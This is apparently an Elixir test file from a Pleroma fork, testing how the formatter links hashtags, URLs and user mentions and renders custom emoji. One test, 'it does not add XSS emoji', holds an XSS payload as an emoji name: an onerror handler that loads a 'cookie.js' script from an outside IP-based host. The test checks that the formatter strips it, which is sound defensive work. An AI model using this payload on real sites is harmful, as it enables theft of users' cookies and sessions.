Fork of Pleroma with site-specific changes and feature branches https://git.pleroma.social/pleroma/pleroma
You can not select more than 25 topics Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.

261 lines
9.4KB

  1. defmodule Pleroma.FormatterTest do
  2. alias Pleroma.Formatter
  3. alias Pleroma.User
  4. use Pleroma.DataCase
  5. import Pleroma.Factory
  6. setup_all do
  7. Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end)
  8. :ok
  9. end
  10. describe ".add_hashtag_links" do
  11. test "turns hashtags into links" do
  12. text = "I love #cofe and #2hu"
  13. expected_text =
  14. "I love <a data-tag='cofe' href='http://localhost:4001/tag/cofe' rel='tag'>#cofe</a> and <a data-tag='2hu' href='http://localhost:4001/tag/2hu' rel='tag'>#2hu</a>"
  15. tags = Formatter.parse_tags(text)
  16. assert expected_text ==
  17. Formatter.add_hashtag_links({[], text}, tags) |> Formatter.finalize()
  18. end
  19. end
  20. describe ".add_links" do
  21. test "turning urls into links" do
  22. text = "Hey, check out https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla ."
  23. expected =
  24. "Hey, check out <a href=\"https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla\">https://www.youtube.com/watch?v=8Zg1-TufF%20zY?x=1&y=2#blabla</a> ."
  25. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  26. text = "https://mastodon.social/@lambadalambda"
  27. expected =
  28. "<a href=\"https://mastodon.social/@lambadalambda\">https://mastodon.social/@lambadalambda</a>"
  29. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  30. text = "https://mastodon.social:4000/@lambadalambda"
  31. expected =
  32. "<a href=\"https://mastodon.social:4000/@lambadalambda\">https://mastodon.social:4000/@lambadalambda</a>"
  33. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  34. text = "@lambadalambda"
  35. expected = "@lambadalambda"
  36. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  37. text = "http://www.cs.vu.nl/~ast/intel/"
  38. expected = "<a href=\"http://www.cs.vu.nl/~ast/intel/\">http://www.cs.vu.nl/~ast/intel/</a>"
  39. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  40. text = "https://forum.zdoom.org/viewtopic.php?f=44&t=57087"
  41. expected =
  42. "<a href=\"https://forum.zdoom.org/viewtopic.php?f=44&t=57087\">https://forum.zdoom.org/viewtopic.php?f=44&t=57087</a>"
  43. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  44. text = "https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul"
  45. expected =
  46. "<a href=\"https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul\">https://en.wikipedia.org/wiki/Sophia_(Gnosticism)#Mythos_of_the_soul</a>"
  47. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  48. text = "https://www.google.co.jp/search?q=Nasim+Aghdam"
  49. expected =
  50. "<a href=\"https://www.google.co.jp/search?q=Nasim+Aghdam\">https://www.google.co.jp/search?q=Nasim+Aghdam</a>"
  51. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  52. text = "https://en.wikipedia.org/wiki/Duff's_device"
  53. expected =
  54. "<a href=\"https://en.wikipedia.org/wiki/Duff's_device\">https://en.wikipedia.org/wiki/Duff's_device</a>"
  55. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  56. text = "https://pleroma.com https://pleroma.com/sucks"
  57. expected =
  58. "<a href=\"https://pleroma.com\">https://pleroma.com</a> <a href=\"https://pleroma.com/sucks\">https://pleroma.com/sucks</a>"
  59. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  60. text = "xmpp:contact@hacktivis.me"
  61. expected = "<a href=\"xmpp:contact@hacktivis.me\">xmpp:contact@hacktivis.me</a>"
  62. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  63. text =
  64. "magnet:?xt=urn:btih:7ec9d298e91d6e4394d1379caf073c77ff3e3136&tr=udp%3A%2F%2Fopentor.org%3A2710&tr=udp%3A%2F%2Ftracker.blackunicorn.xyz%3A6969&tr=udp%3A%2F%2Ftracker.ccc.de%3A80&tr=udp%3A%2F%2Ftracker.coppersurfer.tk%3A6969&tr=udp%3A%2F%2Ftracker.leechers-paradise.org%3A6969&tr=udp%3A%2F%2Ftracker.openbittorrent.com%3A80&tr=wss%3A%2F%2Ftracker.btorrent.xyz&tr=wss%3A%2F%2Ftracker.fastcast.nz&tr=wss%3A%2F%2Ftracker.openwebtorrent.com"
  65. expected = "<a href=\"#{text}\">#{text}</a>"
  66. assert Formatter.add_links({[], text}) |> Formatter.finalize() == expected
  67. end
  68. end
  69. describe "add_user_links" do
  70. test "gives a replacement for user links" do
  71. text = "@gsimg According to @archa_eme_, that is @daggsy. Also hello @archaeme@archae.me"
  72. gsimg = insert(:user, %{nickname: "gsimg"})
  73. archaeme =
  74. insert(:user, %{
  75. nickname: "archa_eme_",
  76. info: %Pleroma.User.Info{source_data: %{"url" => "https://archeme/@archa_eme_"}}
  77. })
  78. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  79. mentions = Pleroma.Formatter.parse_mentions(text)
  80. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  81. assert length(subs) == 3
  82. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  83. expected_text =
  84. "<span><a data-user='#{gsimg.id}' class='mention' href='#{gsimg.ap_id}'>@<span>gsimg</span></a></span> According to <span><a data-user='#{
  85. archaeme.id
  86. }' class='mention' href='#{"https://archeme/@archa_eme_"}'>@<span>archa_eme_</span></a></span>, that is @daggsy. Also hello <span><a data-user='#{
  87. archaeme_remote.id
  88. }' class='mention' href='#{archaeme_remote.ap_id}'>@<span>archaeme</span></a></span>"
  89. assert expected_text == Formatter.finalize({subs, text})
  90. end
  91. test "gives a replacement for user links when the user is using Osada" do
  92. mike = User.get_or_fetch("mike@osada.macgirvin.com")
  93. text = "@mike@osada.macgirvin.com test"
  94. mentions = Formatter.parse_mentions(text)
  95. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  96. assert length(subs) == 1
  97. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  98. expected_text =
  99. "<span><a data-user='#{mike.id}' class='mention' href='#{mike.ap_id}'>@<span>mike</span></a></span> test"
  100. assert expected_text == Formatter.finalize({subs, text})
  101. end
  102. test "gives a replacement for single-character local nicknames" do
  103. text = "@o hi"
  104. o = insert(:user, %{nickname: "o"})
  105. mentions = Formatter.parse_mentions(text)
  106. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  107. assert length(subs) == 1
  108. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  109. expected_text =
  110. "<span><a data-user='#{o.id}' class='mention' href='#{o.ap_id}'>@<span>o</span></a></span> hi"
  111. assert expected_text == Formatter.finalize({subs, text})
  112. end
  113. test "does not give a replacement for single-character local nicknames who don't exist" do
  114. text = "@a hi"
  115. mentions = Formatter.parse_mentions(text)
  116. {subs, text} = Formatter.add_user_links({[], text}, mentions)
  117. assert length(subs) == 0
  118. Enum.each(subs, fn {uuid, _} -> assert String.contains?(text, uuid) end)
  119. expected_text = "@a hi"
  120. assert expected_text == Formatter.finalize({subs, text})
  121. end
  122. end
  123. describe ".parse_tags" do
  124. test "parses tags in the text" do
  125. text = "Here's a #Test. Maybe these are #working or not. What about #漢字? And #は。"
  126. expected = [
  127. {"#Test", "test"},
  128. {"#working", "working"},
  129. {"#漢字", "漢字"},
  130. {"#は", "は"}
  131. ]
  132. assert Formatter.parse_tags(text) == expected
  133. end
  134. end
  135. test "it can parse mentions and return the relevant users" do
  136. text = "@gsimg According to @archaeme, that is @daggsy. Also hello @archaeme@archae.me"
  137. gsimg = insert(:user, %{nickname: "gsimg"})
  138. archaeme = insert(:user, %{nickname: "archaeme"})
  139. archaeme_remote = insert(:user, %{nickname: "archaeme@archae.me"})
  140. expected_result = [
  141. {"@gsimg", gsimg},
  142. {"@archaeme", archaeme},
  143. {"@archaeme@archae.me", archaeme_remote}
  144. ]
  145. assert Formatter.parse_mentions(text) == expected_result
  146. end
  147. test "it adds cool emoji" do
  148. text = "I love :moominmamma:"
  149. expected_result =
  150. "I love <img height=\"32px\" width=\"32px\" alt=\"moominmamma\" title=\"moominmamma\" src=\"/finmoji/128px/moominmamma-128.png\" />"
  151. assert Formatter.emojify(text) == expected_result
  152. end
  153. test "it does not add XSS emoji" do
  154. text =
  155. "I love :'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a):"
  156. custom_emoji = %{
  157. "'onload=\"this.src='bacon'\" onerror='var a = document.createElement(\"script\");a.src=\"//51.15.235.162.xip.io/cookie.js\";document.body.appendChild(a)" =>
  158. "https://placehold.it/1x1"
  159. }
  160. expected_result =
  161. "I love <img height=\"32px\" width=\"32px\" alt=\"\" title=\"\" src=\"https://placehold.it/1x1\" />"
  162. assert Formatter.emojify(text, custom_emoji) == expected_result
  163. end
  164. test "it returns the emoji used in the text" do
  165. text = "I love :moominmamma:"
  166. assert Formatter.get_emoji(text) == [{"moominmamma", "/finmoji/128px/moominmamma-128.png"}]
  167. end
  168. test "it returns a nice empty result when no emojis are present" do
  169. text = "I love moominamma"
  170. assert Formatter.get_emoji(text) == []
  171. end
  172. test "it doesn't die when text is absent" do
  173. text = nil
  174. assert Formatter.get_emoji(text) == []
  175. end
  176. end